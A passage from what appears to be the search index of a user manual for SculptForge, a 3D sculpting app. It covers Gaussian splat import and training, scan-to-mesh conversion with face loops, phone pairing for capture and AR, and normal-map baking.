licences","t":"Your art is never uploaded or used for training. AI features run only when you use them and can be turned off. Off (Edit > Preferences > AI, or SF_AI=off) hides Generate 3D; Relief, Inflate and Stamp stay. See Turning AI off. SculptForge has no servers of its own and no telemetry. A hosted service receives only the prepared image (or your text) and your key or token, if any. The free Hugging Face option runs the model authors' own demos; SculptForge does not host or bundle any model. Each model has its own licence: TRELLIS.2 is MIT; Hunyuan3D models use the Tencent Hunyuan Community License (not for use in the EU, UK or South Korea); Stable Fast 3D uses the Stability AI Community License (free under US $1M annual revenue). Read the licence before commercial use. With ComfyUI, the picture goes only to the server address you entered. The full table of what is sent where is in docs/ai-services.md in the SculptForge repository."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"see-also","h":"See also","t":"Sculpting and brushes: refine the generated model Subdivide, Remesh, Decimate and LODs: Quad Remesh and voxel remesh in detail Gaussian splats: start from a phone capture instead of a picture Scripting and automation: batch generation from the command line Troubleshooting: quota and connection messages"},{"p":"splats.html","c":"Gaussian splats","a":"","h":"Gaussian splats","t":"Gaussian splats are the format behind phone and photogrammetry captures from apps such as Polycam, Luma, Postshot, Scaniverse and KIRI. SculptForge uses them three ways: as a reference to sculpt against, as a source for a sculptable, animation-ready mesh with its colours, and as an output when you turn a sculpt into splats. This chapter covers all three. A Gaussian splat capture made from the lion, with the mesh hidden and the Splats button on the right shelf To make a splat yourself from a phone video or photos, see Scan an object into a splat."},{"p":"splats.html","c":"Gaussian splats","a":"supported-files","h":"Supported files","t":"Format Open Save PLY (standard 3D Gaussian Splatting layout, spherical harmonics up to degree 3) Yes Yes .splat (compact web-viewer format) Yes Yes glTF / GLB with KHR_gaussian_splatting Yes Yes OpenUSD .usda / .usdz with a ParticleField3DGaussianSplat prim Yes Yes A PLY file can hold either a mesh or splats; SculptForge tells them apart by their contents."},{"p":"splats.html","c":"Gaussian splats","a":"load-a-capture-as-a-reference","h":"Load a capture as a reference","t":"Open the capture with File > Open... (Ctrl+O), drop it onto the window, or double-click it in the Library Splats tab. The splats load next to your sculpt: the current mesh stays, and the capture is drawn around it as a reference. Render > Gaussian Splats moves into the right tray by itself, and a Splats button appears on the right shelf to show or hide the capture. Most captures arrive upside down, off-centre and at an arbitrary scale. Use the buttons in the Splats palette to place them: Button What it does Flip Turns the capture upside down (180 degrees about X). Most captures need this Turn 90 Turns it 90 degrees about the vertical axis Fit Centres it at the origin and scales it to the size of a new sphere Clean floaters Removes faint splats and stray outliers around the subject The palette also shows the number of splats and their spherical-harmonic degree (for example \"1250000 splats (SH 3)\"), and has: Show and Show mesh to show or hide the capture and the sculpt. An opacity slider (0.05 to 1) to see the sculpt through the capture. Tip: To sculpt a character over a scan, lower the opacity to about 0.4, turn on X symmetry and block in the forms on a sphere or a converted mesh with Clay Block and Move."},{"p":"splats.html","c":"Gaussian splats","a":"make-a-capture-sculptable","h":"Make a capture sculptable","t":"Make sculptable (under From scan in Render > Gaussian Splats) turns the capture into a clean Part you can sculpt and animate: a watertight surface without floaters, quad topology with loops round the eyes and mouth when it is a head, and the capture's colours. The splats stay, hidden. It has its own chapter: From scan to sculptable mesh."},{"p":"splats.html","c":"Gaussian splats","a":"turn-a-sculpt-into-splats","h":"Turn a sculpt into splats","t":"Sculpt to splats (in Render > Gaussian Splats when no splats are loaded, or from the command palette) covers the visible Parts with flat, oriented splats with soft clay shading baked in. Use it to show a sculpt in splat viewers, web scenes or engines that render 3D Gaussian splats. It replaces any loaded splats. From a script you can choose the number of splats and whether to bake shading: sculptforge-cli -c 'open path=bust.glb; mesh_to_splats count=500000 shading=true; splat_save path=bust.ply'"},{"p":"splats.html","c":"Gaussian splats","a":"save-splats","h":"Save splats","t":"Click Save splats... in Render > Gaussian Splats, or File > Save Splats.... Choose the format by the file type: PLY (for SuperSplat, Postshot and most tools), glTF (.glb with KHR_gaussian_splatting) or OpenUSD (.usda / .usdz). The splat_save command also writes .splat. Placement you made with Flip, Turn 90 and Fit is kept exactly in glTF and USD. PLY has no placement, so it is baked into the splats; if the capture was rotated, view-dependent colour (spherical harmonics above degree 0) is dropped from the PLY, because it would point the wrong way. When you export USD (File > Export USD / USDZ...) with splats loaded, they are included in the same file as a ParticleField3DGaussianSplat prim next to the meshes. Projects (.sfproj) keep loaded splats and their placement. Clear in Render > Gaussian Splats removes the capture."},{"p":"splats.html","c":"Gaussian splats","a":"from-scripts","h":"From scripts","t":"Command What it does Key parameters open Loads a capture as a reference next to the sculpt path splat_info Reports the loaded splats splat_transform Rotates and places the capture rotate_x, rotate_y, rotate_z (degrees), fit, reset splat_clean Removes faint splats and floaters min_opacity (default 0.05), keep (0.5 to 1, default 0.98) splat_to_mesh Make sculptable: a new Part with quads, face loops and colour (details) detail (default 256), preset (game, film, sculpt), color (vertex paint, texture, none), crop, face_guides splat_test_capture Loads a built-in test capture (a head or a mug) kind mesh_to_splats Turns the visible Parts into splats count (default 250000), shading (default true) splat_save Saves .ply, .splat, .glb, .usda or .usdz path splat_clear Removes the splats A complete phone-capture-to-game-asset pipeline: sculptforge-cli -c 'open path=scan.ply; splat_transform rotate_x=180 fit=true; splat_to_mesh preset=game color=texture; export_glb path=asset.glb' To render only the splats headless, use sculptforge scan.ply --render scan.png --hide-mesh (see Scripting and automation)."},{"p":"splats.html","c":"Gaussian splats","a":"see-also","h":"See also","t":"From scan to sculptable mesh: Make sculptable in detail Image and text to 3D: another way to get a base mesh Subdivide, Remesh, Decimate and LODs: clean up a converted mesh Exporting: USD and glTF exports that carry splats"},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"","h":"Scan an object into a splat","t":"Walk around a clay maquette, a prop or a toy with your phone, and SculptForge turns the video or photos into a Gaussian splat in the viewport. You watch it sharpen while it trains, and you can orbit around it the whole time. From there you can sculpt against it, make it sculptable, or save it for a splat viewer or a game engine. Nothing is uploaded: everything runs on your own computer."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"what-you-need","h":"What you need","t":"A phone or a camera. Any phone that films 1080p or better works. You don't need a special app. A graphics card. Training runs on the GPU: NVIDIA, AMD or Intel on Windows and Linux, or an Apple silicon Mac. No CUDA is needed. A gaming GPU trains a Fast preview in a few minutes. Three free tools, which SculptForge runs as separate programs: Tool What it does How you get it Brush (Apache-2.0) Trains the splat SculptForge offers to download it the first time (about 45 MB on Linux and macOS, 160 MB on Windows) COLMAP (BSD) Works out where each photo was taken Windows: offered as a download (128 MB). Linux: your distribution's colmap package. macOS: brew install colmap ffmpeg Reads frames from a video Usually installed already; Linux: the ffmpeg package, macOS: brew install ffmpeg Captures from the SculptForge phone link that carry the phone's own camera positions, and COLMAP or nerfstudio datasets, don't need COLMAP. Photo folders don't need ffmpeg."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"capture-tips","h":"Capture tips","t":"The capture decides the quality far more than the settings do. Pick a matte object. Clay, wood, stone, painted plastic and fabric scan well. Shiny metal, glass, mirrors, water and see-through plastic don't: the trainer can't tell reflections from surface. Avoid thin and fuzzy parts such as hair, fur, wire, antennas and leaves, or expect them to come out soft. Use even, soft light. An overcast day, a room with daylight from several windows, or two lamps bounced off the walls. Avoid hard shadows, and don't move the lights or let your own shadow fall on the object. Give it texture. A plain white object on a plain white table is hard to place; put it on a patterned cloth or a newspaper. Walk all the way around. Keep the object in the middle, filling about half the frame. Go round once at eye level and once a little higher, looking down. Every part of the object should be seen from several sides. Move slowly and smoothly. Each view should overlap the last by about two thirds. Blurred frames are dropped automatically, but a capture that is blurred everywhere can't be fixed. Keep the object still, and don't use a turntable: the background would not turn with it. Length: a 20 to 60 second video, or 40 to 150 photos."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"train-a-splat","h":"Train a splat","t":"Open Render > Gaussian Splats (or press F3 and type \"train\"). Under Train from capture, pick a preset: Fast preview or Quality. Click Video... and pick the video, or Photos Folder... and pick the folder of photos. You can also drop a video file onto the window. Captures sent from the phone link start by themselves. The first time, a window asks to download Brush. It says what it downloads, from where and how big it is; nothing is downloaded until you click Download Brush. The download is checked against its SHA-256 checksum before it is used. If you already have Brush, click Choose Brush... instead. Training then runs in the background, in three stages: Stage What happens Frames A video is read at 5 frames a second and the sharpest frame of each moment is kept (80 for Fast preview, 200 for Quality). Photos are used as they are Camera positions COLMAP finds where each photo was taken (skipped when the capture already knows) Training Brush trains the splat. Every few hundred steps the viewport shows the latest result The panel over the viewport shows the step, the quality so far, how long it has run and roughly how long is left: PSNR compares the splat with photos it was not trained on, in decibels. Under 18 is rough, 22 to 26 is good and over 26 is sharp. A PSNR that stops rising means more training won't help much. Good enough - stop ends training and keeps what it has learned so far as the result. Cancel ends training and saves nothing. You can orbit, pan and zoom while it trains. While the splat trains, the sculpt is hidden so the splat isn't inside it; tick Show mesh in Render > Gaussian Splats to bring it back."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"presets","h":"Presets","t":"Preset Steps Image size Frames from a video Colour Fast preview 5,000 up to 1024 px 80 simple view-dependent colour (SH 1) Quality 30,000 up to 1920 px 200 full view-dependent colour (SH 3) Start with Fast preview to check the capture, then train Quality from the same capture."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"where-the-result-goes","h":"Where the result goes","t":"The finished splat is saved as a PLY next to the capture: for a folder: /splat/.ply for a video: -splat/.ply beside the video A copy goes into the Splats tab of the Library, so you can open it again later. The work folder beside the result holds the frames, the camera positions and the logs (brush.log, colmap.log); you can delete it. The splat comes in centred and upright: SculptForge uses the camera positions to put the object at the middle of the scene with the cameras' \"up\" pointing up. Use Flip, Turn 90 and Fit in Render > Gaussian Splats if it still needs a turn. Then: Make it sculptable. Lower the opacity and sculpt against it as a reference. Save splats... to .ply, .splat, .glb or .usdz for other apps."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"tools-and-settings","h":"Tools and settings","t":"The Tools section of Train from capture shows which tools were found. SculptForge looks for each one in this order: An environment variable: SCULPTFORGE_BRUSH, SCULPTFORGE_COLMAP or SCULPTFORGE_FFMPEG (the full path of the program). Studios can point every workstation at a shared, approved build this way. The program chosen with Choose Brush... or Choose COLMAP.... A download made by SculptForge, in the tools folder of SculptForge's settings folder. brush_app, colmap and ffmpeg on the PATH. There is no ready-made Brush for Linux on ARM (for example Asahi Linux on an Apple silicon Mac) or for Intel Macs. Build it from its source with Rust (cargo build --release in a Brush checkout) and choose the brush_app it builds."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"from-the-command-line","h":"From the command line","t":"splat_train works in scripts, sculptforge-cli, Python and the MCP server. There it waits until training has finished, then loads the result: sculptforge-cli -c \"splat_train source=walkaround.mp4 preset=fast; splat_save path=walkaround.glb\" Parameter Meaning source A video, a folder of photos, a phone-link capture folder, or a COLMAP / nerfstudio dataset out Where to put the result and the work files (default: next to the capture) preset fast or quality In the app, splat_train starts training in the background and splat_train_cancel stops it (splat_train_cancel finish=true is Good enough - stop)."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"captures-with-camera-positions","h":"Captures with camera positions","t":"A capture folder can say where every photo was taken, which skips COLMAP. The phone link writes this in its capture.json; other tools can too: {\"kind\": \"splat\", \"device\": \"...\", \"files\": [\"IMG_0000.jpg\", \"...\"], \"fl_x\": 1450, \"w\": 1920, \"h\": 1440, \"frames\": [{\"file\": \"IMG_0000.jpg\", \"transform_matrix\": [[...], [...], [...], [0, 0, 0, 1]]}]} transform_matrix is the camera-to-world transform, row by row, with the camera looking down its -Z axis and +Y up (the OpenGL and nerfstudio convention, the same as ARKit and WebXR). fl_x, fl_y, cx, cy, w and h are in pixels and can also be given per frame. Folders that already contain a COLMAP model (images and sparse/0) or a nerfstudio transforms.json are trained as they are."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"if-it-goes-wrong","h":"If it goes wrong","t":"\"COLMAP could not place the cameras\": too few views overlap, the photos are blurred, or the object is shiny or plain. Capture again more slowly, with more texture around the object. The details are in work/colmap.log. \"Brush stopped with an error\": often the graphics card ran out of memory. Try Fast preview, close other GPU-heavy programs, or update the graphics driver. The details are in work/brush.log. The splat is cloudy or full of floaters: train Quality, then use Clean floaters. Shiny and see-through parts stay cloudy whatever you do. Only part of the object came out: the other side wasn't seen from enough angles. Walk around again."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"","h":"From scan to sculptable mesh","t":"A Gaussian-splat capture looks great but you can't sculpt, rig or animate it. Make sculptable turns it into a clean Part you can: a watertight surface with the floaters and background gone, quad topology at the polygon budget you choose, edge loops round the eyes and mouth when the capture is a head, and the capture's colours as vertex paint or a texture. One click, in the background, with the splats kept next to the result. A test head capture, the review of its face landmarks and loops, and the finished quads with its colours"},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"one-click","h":"One click","t":"Load a capture (see Gaussian splats): File > Open... or drop a .ply, .splat, .glb or .usdz onto the window. Place it with Flip, Turn 90 and Fit if it arrives upside down. For a head, turn the view so you look at the face, roughly from the front (within about 40 degrees is enough). The face is looked for from the current view. In Render > Gaussian Splats, under From scan, click Make sculptable. A progress bar and Cancel show while it works. When it's done: a new Part named after the capture holds the sculptable mesh, and is active; a hidden \" Scan\" Part keeps the dense voxel surface it was made from (turn off Keep scan if you don't want it); the splats are hidden, not deleted (Show in Render > Gaussian Splats brings them back); an untouched starting sphere is hidden too. No capture at hand? Try a test head in Render > Gaussian Splats (shown while no splats are loaded) loads a built-in one: a stylised head as 200,000 coloured splats with a few floaters and the hidden inside splats real captures have. splat_test_capture kind=object loads a mug with a thin handle instead. The From scan section of Render > Gaussian Splats"},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"the-options","h":"The options","t":"Control What it does Detail How finely the surface follows the capture, in voxels across the subject (96 to 512, default 256). Higher keeps thinner parts and more detail and takes longer Game / Film / Sculpt The polygon budget. Game: about 4,000 quads, for real-time characters and props. Film: about 12,000 quads, for close-ups and smooth deformation. Sculpt: a 2,000-quad base with two subdivision levels, the scan's detail projected onto the top level, so you sculpt with levels straight away Face loops When the capture is a head: find the eyes, nose, mouth and chin and give Quad Remesh edge loops round the eyes and mouth and along the nasolabial folds, mirrored across the face (see below) Review Stop after the scan to check the face landmarks and the loops before remeshing Vertex Paint / Texture Where the capture's colours go: the vertices (vertex paint), or a 2K texture on automatic UVs (sharp colour on a light mesh, for games and exports) Keep scan Keep the dense voxel surface as a hidden \" Scan\" Part, to Project All more detail from later Crop Box Only the splats inside the box count (see below) More > Min Opacity Splats fainter than this are ignored (haze and floaters are usually faint). Default 0.2 More > Close Gaps Seal gaps up to this many voxels between splats. Default 2 More > Fill holes Fill big holes such as the open bottom of a subject that stood on a table. Turn it off for open cavities like a cup More > All pieces Keep every solid piece instead of only the largest (the floaters come back too) Hold Ctrl and point at any of them for help; F3 finds Make sculptable, Finish, Place by hand and Crop Box by name."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"face-loops-animation-topology-for-heads","h":"Face loops: animation topology for heads","t":"Faces deform around the eyes and the mouth, so animation topology has rings of edges there and a loop from the nose down past the mouth corners (the nasolabial fold), the same on both sides. With Face loops on, Make sculptable looks for a face on the scan as seen from the current view: a depth and colour picture of it, the middle line where it is mirror-symmetric, the nose as the strongest bump on that line, the eyes as a matching pair of hollows (and darker spots) above it, the line between the lips below it, then the chin. From those eight landmarks (the corners of both eyes, the nose tip, the mouth corners, the chin) it draws Quad Remesh Guides for Quad Remesh to follow: a ring round each eye, and a bigger one round the eye socket when the polygon budget is high enough for it; a ring round the lips; the nasolabial loop: from each side of the nose down the fold past the mouth corner and under the lower lip; all of them mirrored across the face, and Quad Remesh's symmetry on, so both halves get the same edge flow. The guides stay on the result Part, so you can Quad Remesh it again at another density (Geometry > Quad Remesh) and the loops come back. Small loops are left out at low budgets, where they couldn't come out as clean rings. If no face is found (the status bar says why), the result is remeshed without face loops. Turn the view to face the head and run it again, or use Review and place the landmarks by hand."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"review-and-nudge-the-landmarks","h":"Review and nudge the landmarks","t":"With Review on, Make sculptable stops after the scan: the \" Scan\" Part shows with the landmarks as blue dots and the guide loops as orange lines. Drag a dot to move a landmark onto the right spot. Its partner on the other side follows (mirrored), and the loops are rebuilt when you let go. Place by hand asks for the eight landmarks one click at a time (the panel and the cursor say which is next): the outer and inner corner of the eye on the left of the screen, the inner and outer corner of the other eye, the nose tip, the left and right mouth corners, the chin. Find again looks for the face again from the current view. Finish remeshes the scan along the loops and colours it; Back leaves the review and keeps the scan."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"the-crop-box","h":"The crop box","t":"Captures usually include the ground, a table or the room. Make sculptable keeps only the largest solid piece, which drops floaters, but a table the subject stands on is joined to it. Click Crop Box: a yellow box appears round the capture with a handle on each face. Drag a handle to move that face (drag the bottom one up to cut the table away), then Make sculptable: only the splats inside the box count. The box shows while the splats are shown; click Crop Box again to turn it off."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"what-happens-inside","h":"What happens inside","t":"Surface. Every Gaussian adds its opacity-weighted density to a voxel grid (in parallel, with the same result on any number of threads). Where the density is high enough is the shell of the subject; small gaps close, small separate pieces of shell (floaters) are dropped, and space boxed in by the shell on five of six sides counts as inside, which seals big holes such as an open bottom. The outside is flooded from the edges, the largest solid piece is kept, and a smooth watertight surface is made from it. Colour. Each vertex (or texel) takes the colour of the splats around it, weighted by their opacity and distance. Splats behind the surface, inside the subject, are faded out: trained captures fill the inside with splats of any colour. Topology. Quad Remesh rebuilds the scan as quads at the budget's polygon count, along the face guides, with symmetry. Sculpt then divides it twice and projects the scan onto the top level (as Project All does)."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"speed","h":"Speed","t":"Measured on an M1 Pro laptop (10 cores, 2021) with the built-in test head at Film density, from click to the finished Part: Splats Detail 256 Detail 384 Detail 512 Peak memory (512) 1 million 3.4 s (surface 1.3 s) 5.5 s (surface 2.6 s) 8.8 s (surface 5.1 s) 1.0 GB 5 million 7.2 s (surface 4.2 s) 9.1 s (surface 5.6 s) 13.2 s (surface 8.0 s) 1.2 GB The rest of the time is Quad Remesh and colour. Everything runs on the CPU, so a studio PC with more cores is faster; no GPU or CUDA is needed."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"how-good-is-it","h":"How good is it?","t":"What works well: Watertight, manifold surfaces every time (no holes, no non-manifold edges), with floaters and stray background pieces dropped and open bottoms sealed. Faithful colour: on test captures with known colours the transferred vertex paint is within a few percent of the original, and the wrongly coloured splats inside the subject don't bleed through. Clean quads (97% or more) with symmetric rings round the eyes and mouth on faces it finds. Thin parts survive down to a few voxels across (a mug handle at Detail 160 stays a handle, its hole open). What to expect: The scan has a fine ripple (voxel-scale, a little like orange peel) where the capture's splats are sparse; the quad result smooths it out, but the Sculpt preset projects it onto the top level, where the Smooth brush takes it away. The surface sits about a voxel outside the splats (the shell's thickness). Raise Detail to make that smaller. The face finder works from geometry and colour, not a trained model: it is reliable on clear faces seen from the front (busts, maquettes, game heads) and can miss on heavily stylised faces, closed-eye or beard-covered ones, profiles, or a head that isn't upright in the view. Then use Review and Place by hand. Fill holes also fills deep open cavities (the inside of a cup, an open mouth); turn it off for those. Hair and fur become a solid shell, as with any surface reconstruction. Splat captures carry view-dependent colour; Make sculptable uses the base colour of each splat (no reflections or highlights baked in), which is what you want for a sculpt."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"from-scripts","h":"From scripts","t":"The same pipeline runs from the console, sculptforge-cli, MCP and Python: Command What it does Key parameters splat_to_mesh Make sculptable detail (32 to 768, default 256; resolution is the same), preset (game, film or sculpt), target (quads; 0 keeps the voxel surface), levels, face_guides (auto or off), landmarks (JSON, instead of finding them), front, up (the face's directions, default \"0 0 1\" and \"0 1 0\"), color (vertex paint, texture or none), texture_size, crop (\"minx miny minz maxx maxy maxz\"), min_opacity, keep, close, fill_holes, keep_parts, smooth, symmetry, keep_scan, stage (all, scan or finish), seed face_guides Finds a face on the active Part (or takes landmarks) and replaces its Quad Remesh Guides with the face loops; the message ends with the landmarks as JSON landmarks, front, up, target splat_test_capture Loads the built-in test head or mug capture kind (head or object), count, floaters, open_bottom # A scan to a textured game asset, in one go. sculptforge-cli -c 'open path=bust.ply; splat_transform rotate_x=180 fit=true; splat_to_mesh preset=game color=texture; export_glb path=bust.glb' # The app's review in two steps: the scan with its face guides (the message lists the landmarks found), then the # quads along those guides. sculptforge-cli -c 'open path=head.ply; splat_to_mesh stage=scan preset=film; splat_to_mesh stage=finish preset=film; export_glb path=head.glb' To correct the landmarks from a script, run face_guides between the two stages with landmarks= set to the JSON the scan stage printed, edited: {\"eye_outer_l\": [x, y, z], \"eye_inner_l\": [...], \"eye_inner_r\": [...], \"eye_outer_r\": [...], \"nose_tip\": [...], \"mouth_l\": [...], \"mouth_r\": [...], \"chin\": [...]} (l is the side on the left of the screen when looking at the face). Each run in the app is echoed to the console as a splat_to_mesh line (with the landmarks when you reviewed them), so you can copy it into a batch script."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"see-also","h":"See also","t":"Gaussian splats: loading, placing and saving captures Quad retopology and detail projection: Quad Remesh, Quad Remesh Guides and Project All Subdivision levels: sculpting the Sculpt preset's levels Texture painting: painting on the Texture result"},{"p":"phone-capture.html","c":"Phone capture and AR","a":"","h":"Phone capture and AR","t":"Your phone becomes SculptForge's camera and second screen. Scan an object by walking around it, send a photo to turn into a model, bring in a splat from a scanning app, look at your sculpt standing on your real desk in AR, and drive a character's face with your own. There is no app to install and no account: the phone's browser talks to SculptForge over your Wi-Fi."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"pair-your-phone","h":"Pair your phone","t":"Choose File > Capture from phone (or the phone button in the Library's header). A window opens with a QR code. Point the phone's camera at the QR code and tap the link it shows. The capture page opens, already paired with this window: the badge at its top shows your computer's name. The phone and the computer must be on the same Wi-Fi. If the phone has no QR scanner, open the address shown under the code in its browser and type the 6-digit pairing code. The link works only while the window is open: closing it stops SculptForge listening, and the next time you open it there is a new code. A code nobody uses expires after 10 minutes. Tip: The phone can't open the page? Check that it isn't on a guest network or mobile data, turn off VPNs on both devices, and allow SculptForge through the firewall (Windows asks the first time; choose private networks). If the computer has several networks, pick the Wi-Fi one under Network in the window."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"this-site-cant-be-reached-on-android","h":"\"This site can't be reached\" on Android","t":"Recent versions of Chrome on Android can refuse to open any address on your home network, even your router's, and show This site can't be reached (under Details: ERR_TOO_MANY_RETRIES). Until SculptForge's capture page moves to the website, the simplest fix is to use Firefox on the phone: install it from the Play Store, open the address shown under the QR code (for example http://10.0.0.117:8765), allow it to reach devices on your local network when it asks, and type the 6-digit code. Firefox can also be set as the phone's default browser so the camera's QR links open there."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"linux-firewall","h":"Linux firewall","t":"Many Linux desktops (Omarchy, Ubuntu with ufw enabled, Fedora with firewalld) block incoming connections, so the phone's request never arrives. Allow SculptForge's port from your home network only, TCP for the page and UDP for the direct link that AR on Android and face capture use, for example with ufw: sudo ufw allow from 10.0.0.0/24 to any port 8765 comment 'SculptForge phone capture' Use your own network's range (the first three numbers of the address under the QR code, then .0/24). With firewalld: sudo firewall-cmd --add-port=8765/tcp --add-port=8765/udp (add --permanent to keep it)."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"scan-an-object","h":"Scan an object","t":"Tap Scan an object, read the tips, and tap Record a video. Walk slowly all the way round the object, then once more a little lower, for 20 to 60 seconds: slow and steady, no quick turns; soft, even light, without hard shadows or shiny reflections; the whole object in the middle of the screen, at about the same distance all the way (don't zoom). You can also send a video you already took, or 20 to 200 photos (Choose photos). The page warns you when a video is very short or very long. Tap Send to SculptForge: the upload shows its progress on the phone and in SculptForge's window. Big videos over shaky Wi-Fi are fine: the page sends them in pieces and carries on where it stopped if the connection drops. Keep the page open and the screen on until it says Sent. What arrives is saved in your library's Captures folder (see below) and handed to splat training, which turns it into a Gaussian splat that sharpens in the viewport while it trains. See Gaussian splats."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"one-photo-to-3d","h":"One photo to 3D","t":"Tap One photo to 3D and take a photo (or choose one). One object, the whole of it in the picture, on a plain background works best. SculptForge loads it into Mesh > Generate 3D > Image to 3D and starts generating with the service chosen there (free Hugging Face models by default). Turn off Generate from a photo at once in the window to check the photo first and press Generate yourself. See Image and text to 3D. The phone sends large photos at about 2048 pixels, which is plenty and much faster."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"send-a-splat-file","h":"Send a splat file","t":"Already scanned it with Scaniverse, Polycam or Luma? Export a Gaussian splat .ply from the app, tap Send a splat file and choose it. It opens next to your sculpt as a splat. A .ply that is a plain mesh becomes a new Part instead, so it never replaces your work."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"view-in-ar","h":"View in AR","t":"Tap View in AR, choose what to show (the Active Part or the Whole scene) and how big it should be on the desk (10 cm to 1 m), then Get the model. SculptForge prepares a phone-friendly copy: reduced to about 80,000 triangles, its vertex paint or texture baked into one texture, standing on its base. When it is ready, tap View in AR and point the phone at a desk or the floor. iPhone and iPad open it in AR Quick Look (a USDZ file). Android opens an AR page on sculptforge.app in Chrome. Your sculpt comes to it encrypted through SculptForge's relay (the key is only in the link; the copy is deleted after 10 minutes), so it works even if Chrome can't reach your computer; without internet it comes straight over Wi-Fi. When your sculpt shows on the page, tap View in your room and then Open Google's AR viewer: this puts a readable copy on the relay (deleted after 10 minutes), because Google's viewer only loads models from the internet. Or tap Place it with Chrome's AR instead. Either way, use a well-lit room and move the phone slowly over a table or the floor until the model appears. AR needs Google Play Services for AR: if even other websites' AR opens and closes at once, update it, or clear its storage and restart the phone. Firefox can't show AR: if the capture page is open in Firefox, the AR page offers Open in Chrome. Download the model saves the file instead. Keep sculpting: while the phone is looking, every few seconds after a stroke SculptForge exports the model again and the page says Updated from your sculpt. On iPhone, tap View in AR again to see the change; Android's AR page updates by itself. Turn off Update after each stroke in the window to stop that."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"face-capture","h":"Face capture","t":"Tap Face capture, then Start face capture. Your phone's front camera tracks your face with MediaPipe Face Landmarker, which runs on the phone: the video never leaves it. About 30 times a second only the 52 expression weights (the ARKit set: jawOpen, eyeBlinkLeft, mouthSmileRight...) and the head's rotation go to SculptForge. Prop the phone up at eye level, about an arm's length away, with light on your face. The window's Face section shows a little face following yours and the frame rate. The weights drive the character's facial shapes on the active Part (made with Generate facial shapes). If the character winks with the wrong eye, tick Mirror left and right. Record face take records the feed until you press it again. Each take is saved in the Captures folder as take.jsonl: one line per frame with the 52 weights, the head rotation and the time, ready to play back or export. Note: The camera only works on secure (HTTPS) pages, so the face page lives on the SculptForge website. The address it opens carries the connection details after a #, which browsers never send to the website. To set up the connection the phone sends one encrypted message through SculptForge's relay (or ntfy.sh, a free public relay, if ours can't be reached); neither can read it. Without internet, tap Connect without internet on the face page. After that the face data goes straight over your Wi-Fi."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"the-captures-folder","h":"The Captures folder","t":"Everything the phone sends is saved in your library (the folder the Library shows, normally Documents/SculptForge), under Captures, one folder per capture: Captures/2026-10-26_195803-splat/scan.mov Captures/2026-10-26_195803-splat/capture.json Captures/2026-10-26_201544-photo/IMG_0412.jpg Captures/2026-10-26_203012-face/take.jsonl capture.json records the kind (splat, photo, ply or face), the device, the files and the times. The window's Received list opens a capture's folder."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"privacy-and-security","h":"Privacy and security","t":"Only devices on your local network can connect, and only while the window is open. Every request needs the session's secret token (it is in the QR code) or the pairing code. Uploads have size limits (4 GB a file, 8 GB a capture), file names are cleaned, and files are written only inside the Captures folder. Nothing you capture is uploaded anywhere except to your computer. A photo goes on to the image-to-3D service you chose in SculptForge, as it does when you pick it yourself."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"","h":"Baking normal and displacement maps","t":"Game engines and renderers want light meshes. Baking captures the detail of your high-poly sculpt as images laid over the UVs of a low-poly version: a normal map makes the low-poly shade as if it had every crease and pore, a displacement map stores how far the surface moves, and ambient occlusion, cavity and colour maps feed materials. Tool > Bake makes all of them in one go, in the background, and shows the normal map on the low-poly right away so you can compare it with the sculpt. A 330,000-triangle sculpt (left) next to its 2,000-triangle low-poly wearing the baked normal map (right), with Tool > Bake open"},{"p":"baking.html","c":"Baking normal and displacement maps","a":"what-you-need","h":"What you need","t":"A high-poly source: one or more Parts with the detail. They stay as they are. A low-poly Part with UVs, in the same place as the high-poly. It can come from another app (import it with Tool > Parts > Append; models with UVs keep them), or you make it in SculptForge: Duplicate the sculpt, Tool > Geometry > Decimate it, then Tool > Texture Map > Auto UV. The maps go onto the active Part, so select the low-poly before baking."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"bake-in-five-steps","h":"Bake in five steps","t":"Select the low-poly Part and open Tool > Bake in the right tray. The first line says which Part the maps go onto, or \"No UVs\" if it needs Auto UV first. Source: leave All visible Parts to bake from everything that is shown (except the low-poly), or pick one Part. Tick the maps you want, and choose the size (1K, 2K, 4K or 8K). Click Bake. A progress bar shows while it works on every processor core; you can keep working, or click Cancel Bake. When it is done, the status line reports what was baked and where the files went, and the low-poly shows its normal map. Hide the high-poly (Tool > Parts, the eye) to compare, or untick Preview Normal Map to see the bare low-poly."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"the-maps","h":"The maps","t":"Map File What it holds Normal (tangent) _normal.png The high-poly's surface direction relative to the low-poly, in tangent space. The map for game engines Normal (object / world) _normal_object.png The high-poly's normals in model space (Parts have no transform of their own, so this is also the world normal). For tools that want object-space maps Displacement _displacement.png and .exr The distance from the low-poly to the high-poly along the low-poly's normal Ambient Occlusion _ao.png How much of the sky 